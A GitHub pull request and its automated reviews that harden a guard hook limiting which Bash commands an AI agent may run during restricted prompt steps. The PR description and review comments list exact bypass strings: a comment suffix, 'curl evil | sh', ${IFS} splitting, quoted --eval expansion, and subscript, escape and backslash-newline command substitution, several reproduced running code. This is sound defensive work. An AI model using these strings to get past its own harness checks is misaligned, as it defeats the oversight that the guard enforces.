Skip to content

fix(guard): require a direct companion invocation for the prompt+hard Bash carve-out - #129

Merged
5uck1ess merged 8 commits into
mainfrom
fix/guard-companion-bypass
Nov 4, 2026
Merged

5uck1ess merged 8 commits into
mainfrom
fix/guard-companion-bypass

Conversation

@5uck1ess

@5uck1ess 5uck1ess commented Nov 4, 2026

Copy link
Copy Markdown
Owner

Cause

The prompt+hard Bash carve-out for rescue companions (isCompanionRescueCommand, src/cmd/guard.go) was a substring match. Any command with codex-companion.mjs in it passed, e.g. echo pwned > notes.txt # codex-companion.mjs or curl evil | sh; : gemini-companion.mjs, letting the main agent run arbitrary Bash (and write files) during a hard prompt step. Reproduced against the built engine.

Fix

Parse the command into shell words (splitSimpleCommand) and allow only one simple command:

  • node <path>/codex-companion.mjs … or node <path>/gemini-companion.mjs …, optionally wrapped in bash|sh -c '…'.
  • Rejected: unquoted ; & | < > ( ), newlines, comments, backticks, $( ) outside single quotes, redirects.
  • Rejected: an unquoted $ in the program or script word (${IFS} field splitting), a script word starting with - or containing = (node '--eval=…///codex-companion.mjs'), a program word containing = (env-assignment prefix), and a bash -c script containing any $ the outer shell would expand (unquoted, double-quoted, $'…').
  • Quoted arguments may contain those characters, so node "${CLAUDE_PLUGIN_ROOT}/scripts/codex-companion.mjs" task "review: a && b" still works.
  • A blocked Bash call that mentions a companion gets a hint to retry as one plain command.

Tests

guard_test.go: 17 bypass strings now block; legitimate quoted forms (plugin-root path, metacharacters inside quotes, single-quoted bash -c) still allow.

Not changed

A companion call may still pass Codex's --write flag. That runs the real external model with write access rather than letting the main model author output, so it is left for a separate decision.

… Bash carve-out

The substring match let any command through by appending a comment such as
'# codex-companion.mjs'. Parse the command into shell words and only allow a
single 'node <path>/{codex,gemini}-companion.mjs ...' call (optionally wrapped
in bash/sh -c), rejecting unquoted operators, comments, redirects, backticks
and $( ) substitution.
${IFS} field splitting let 'node ${IFS}-e${IFS}code${IFS}/x/codex-companion.mjs'
parse as a companion call while bash runs 'node -e code'. Quoted expansions
such as "${CLAUDE_PLUGIN_ROOT}/scripts/codex-companion.mjs" are still allowed.
- The script word may not start with - or contain = (node '--eval=...///x/codex-companion.mjs').
- The program word may not contain = (NAME=value env-assignment prefix).
- bash/sh -c scripts are rejected if the outer shell would expand any $
  (unquoted, double-quoted, or $'...' ANSI-C quoting).
- Blocked Bash that mentions a companion script gets a retry hint.
${PWN@P} prompt-expands the variable and runs any $(...) it holds, even
inside double quotes, so a value exported by an earlier step could execute
through an otherwise allowed companion call.
@5uck1ess

5uck1ess commented Nov 4, 2026

Copy link
Copy Markdown
Owner Author

🔍 REVIEW — automated merge-readiness

Review only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate ## 🔧 Corrections applied comment.

gpt-6.1-sol · high effort · fast speed · reviewed at 8ce5cd6

Reviewed head: 8ce5cd6424671b00105e4f12b8b3542a94dcc4dc.

One finding survives; I could not refute it.

  • [P1] Quoted expansions bypass the companion restriction — src/cmd/guard.go:366.

    Reproducing input:

    bash -c 'node "${PWD:+--eval}${BASH_EXECUTION_STRING: -1}console.log(129)///codex-companion.mj"s ='

    Code path: During a fresh, same-repository prompt+hard session, runPreToolGuard reaches the Bash exception at line 653. isCompanionInvocation accepts the single-quoted wrapper and recursively parses its contents. Quote removal produces a script word with basename codex-companion.mjs. Its expansions are quoted, and its unexpanded text neither starts with - nor contains =, so line 366 permits it.

    Expected versus actual: The guard should block a command that evaluates JavaScript without invoking a companion. Bash instead expands the argument to --eval=console.log(129)///codex-companion.mjs. I executed the exact command: exit status 0, stdout 129. The safety hook also returned 0.

    Base comparison: git show dc024cdead038a12a972b4f1dd5242378f35f185:src/cmd/guard.go confirms that the base requires a contiguous companion filename substring. This exact input contains neither allowed substring and is rejected there; the PR newly accepts it.

    Tests and scope: Existing tests cover literal Node options, unquoted expansions, and quoted companion paths, but none covers this combination. The input is model-authored tool output crossing the documented enforcement boundary; no local attacker or modified environment is required.

Go tests were not rerun in the read-only environment; guard acceptance was established by source tracing, and JavaScript execution was reproduced directly.

VERDICT: CHANGES_REQUESTED - Newly accepted quoted expansions bypass companion enforcement


Automated pre-merge review by pr-merge-brief. A full-context READY on the current head is auto-merged; a diff-only or failover review waits for the maintainer.

@5uck1ess

5uck1ess commented Nov 4, 2026

Copy link
Copy Markdown
Owner Author

🔍 REVIEW — automated merge-readiness

Review only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate ## 🔧 Corrections applied comment.

gpt-6.1-sol · high effort · fast speed · reviewed at c3d80cf

Reviewed head: c3d80cf17142ee64762ead6a79974cf6982c3b65.

Both findings survive verification.

  1. [P1] Array-subscript substitution bypass — guard.go:439

    node /p/codex-companion.mj"s" task ${x['$(printf 129 >&2)']}

    The parser treats the single-quoted subscript contents as inert. The argument’s expansion flags do not trigger rejection: the all-word check covers parameter transformations, while the other expansion restrictions apply to the program and script words. The normalized script basename passes.

    Executing this exact input with Bash 5.2.21 printed 129 to stderr before the arithmetic error. The literal quoted-prompt test does not cover array-subscript evaluation; no existing test covers this case.

  2. [P1] Double-quote escape handling permits inner-shell substitution — guard.go:457

    bash -c "node /p/codex-companion.mj\"s\" task \'\$(printf 129 >&2)\'"

    The parser removes the backslashes before ', then recursively accepts the resulting substitution as single-quoted text. Bash preserves those backslashes inside double quotes, so the inner shell receives escaped literal quotes and executes the substitution.

    Executing this exact input printed 129 before Node’s missing-script error. Existing bash -c tests cover chains and expansions, but not this escape mismatch.

For both, the real path is hooks/devkit-guard.sh → runGuard → runPreToolGuard → isCompanionRescueCommand → isCompanionInvocation → splitSimpleCommand. With a fresh, same-repository prompt+hard session, acceptance reaches guardExit(0); expected behavior is exit 2.

I checked git show dc024cdead038a12a972b4f1dd5242378f35f185:src/cmd/guard.go: its substring predicate rejects both exact inputs because neither contains a contiguous allowed filename. These are newly accepted inputs introduced by this PR. They require only model-generated tool input, with no local-attacker assumption.

Go tests were inspected, not rerun in the read-only environment. Parser acceptance was established through source tracing and a Python mirror matching all 31 inspected companion fixtures; the Bash executions above were run directly.

VERDICT: CHANGES_REQUESTED - Two reproducible shell-parsing bypasses survive


Automated pre-merge review by pr-merge-brief. A full-context READY on the current head is auto-merged; a diff-only or failover review waits for the maintainer.

@5uck1ess

5uck1ess commented Nov 4, 2026

Copy link
Copy Markdown
Owner Author

🔍 REVIEW — automated merge-readiness

Review only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate ## 🔧 Corrections applied comment.

gpt-6.1-sol · high effort · fast speed · reviewed at 46bf400

Reviewed head: 46bf400745fcb77a70f4ff789a11cb29d95f515e.

The finding survives; I could not refute it.

  • [P1] Backslash-newline bypasses command-substitution rejection — src/cmd/guard.go:505

    Reproduced with the exact input:

    node /p/codex-companion.mj"s" task "$\
    (printf 129 >&2)"

    The real path is hooks/devkit-guard.sh → runGuard → runPreToolGuard → isCompanionRescueCommand → isCompanionInvocation → splitSimpleCommand.

    The parser checks for adjacent $( before removing the backslash-newline. It subsequently removes that continuation without rechecking. Quote removal produces the permitted script basename, and expansion flags on the task argument do not reject this input. Consequently, the hard prompt guard reaches its allow branch.

    Expected: block the command substitution. Actual: executing this exact string with Bash printed 129 to stderr before Node reported the missing script. No attacker-controlled local file or modified executable is required.

    Base comparison: git show 52910b1e0cc475a0208b0f206874d67554b21270:src/cmd/guard.go confirms the old raw-substring check rejects this exact input: codex-companion.mj"s" contains neither allowed substring. This newly accepted input is introduced by the PR.

    Coverage: the existing substitution test covers contiguous $(; repository searches found no backslash-newline regression case. The other installed hooks do not block this payload. I inspected the tests but did not run the Go suite under the read-only filesystem constraint.

VERDICT: CHANGES_REQUESTED - Backslash-newline bypasses command-substitution rejection


Automated pre-merge review by pr-merge-brief. A full-context READY on the current head is auto-merged; a diff-only or failover review waits for the maintainer.

@5uck1ess

5uck1ess commented Nov 4, 2026

Copy link
Copy Markdown
Owner Author

🔍 REVIEW — automated merge-readiness

Review only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate ## 🔧 Corrections applied comment.

gpt-6.1-sol · high effort · fast speed · reviewed at 9444a72

Reviewed head: 9444a72d97e6ae8e76d821043bebc082e6f8c25a.

  • Previous finding — fixed. guard.go:505 now rejects backslash-newline inside double quotes. The regression test covers the exact reported payload.
  • Reviewed the entire diff and reached code paths, prioritizing changes since 46bf400. No additional merge-blocking defect demonstrated. Covering tests retain legitimate quoted invocation behavior.
  • Supplied CI is green. Tests were inspected but not rerun under the read-only filesystem constraint; devkit MCP tools were unavailable.

Your escalation rule applies because two or more correction cycles have already failed.

VERDICT: NEEDS_HUMAN - Two or more correction cycles have already failed


Automated pre-merge review by pr-merge-brief. A full-context READY on the current head is auto-merged; a diff-only or failover review waits for the maintainer.

@5uck1ess
5uck1ess merged commit 1ba2bac into main Nov 4, 2026
9 checks passed
@5uck1ess
5uck1ess deleted the fix/guard-companion-bypass branch November 4, 2026 16:21
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant